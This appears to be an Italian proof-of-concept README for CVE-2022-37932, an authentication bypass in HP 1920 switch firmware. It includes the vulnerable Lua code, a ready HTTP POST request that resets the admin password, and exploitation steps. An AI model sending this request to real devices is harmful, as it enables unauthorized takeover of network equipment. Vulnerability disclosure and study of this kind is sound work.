Vulnerabilità di bypass dell'autenticazione nel firmware HP Switch

CVE-2022-37932

Versione firmware: PD.02.21
Dispositivi interessati: Switch Smart Managed Serie HP 1920

Panoramica

Questo repository documenta una vulnerabilità critica di bypass dell'autenticazione negli Switch Smart Managed Serie HP 1920 con versione firmware PD.02.21. La vulnerabilità consente a un utente non autenticato di modificare la password dell'amministratore senza previa autenticazione, permettendo di fatto il completo controllo del dispositivo.

Dettagli tecnici

La vulnerabilità risiede nello script /login/default_password_cfg.lua, che gestisce la modifica della password predefinita del dispositivo. Questo script:

1. Accetta richieste POST del modulo senza verificare se l'utente è autenticato
2. Verifica solo che il parametro oldPwd corrisponda alla password predefinita (che è vuota)
3. Modifica direttamente la password dell'utente in base ai parametri POST

Codice vulnerabile

La sezione chiave vulnerabile in default_password_cfg.lua:

if (request_method == 'POST') then
  -- Nessun controllo di autenticazione o sessione!
  
  local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
  -- ...

  if form_post.oldPwd ~= defaultPassword then
    errorStatus = "401 Unauthorized"
    errorText = label.old_password_mismatch
  else
    -- Procede a modificare la password
    -- ...
  end
end

Lo script è privo dei controlli di sicurezza critici:

• Nessuna validazione della sessione
• Nessuna protezione CSRF
• Nessun limite di tentativi
• Accesso diretto alla funzionalità di modifica password senza autenticazione

Prova di concetto

Un attaccante può sfruttare questa vulnerabilità inviando una semplice richiesta HTTP POST:

POST /login/default_password_cfg.lua HTTP/1.1
Host: [target-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=admin&oldPwd=&newPwd=[new-password]&confirmPwd=[new-password]

Nota: Il parametro oldPwd viene lasciato vuoto poiché la password predefinita è vuota.

Impatto

Questa vulnerabilità consente a un utente non autenticato di:

1. Modificare la password dell'amministratore senza conoscere alcuna credenziale
2. Ottenere il controllo amministrativo completo del dispositivo
3. Configurare lo switch, modificare le impostazioni di rete e potenzialmente compromettere l'intera rete

Percorso di sfruttamento

1. Individuare un dispositivo vulnerabile della Serie HP 1920 sulla rete
2. Inviare la richiesta HTTP POST appositamente creata direttamente al dispositivo
3. La password dell'amministratore viene cambiata con un valore controllato dall'attaccante
4. L'attaccante può ora accedere con la nuova password e privilegi di amministratore completi

Crediti

Non ho avuto il tempo di cercare chi ha scoperto originariamente questa vulnerabilità, sto solo pubblicando una prova di concetto.

Disclaimer legale

Queste informazioni sono fornite solo a scopo educativo. L'autore non è responsabile per qualsiasi uso improprio di queste informazioni. Ottenere sempre l'autorizzazione appropriata prima di testare le vulnerabilità.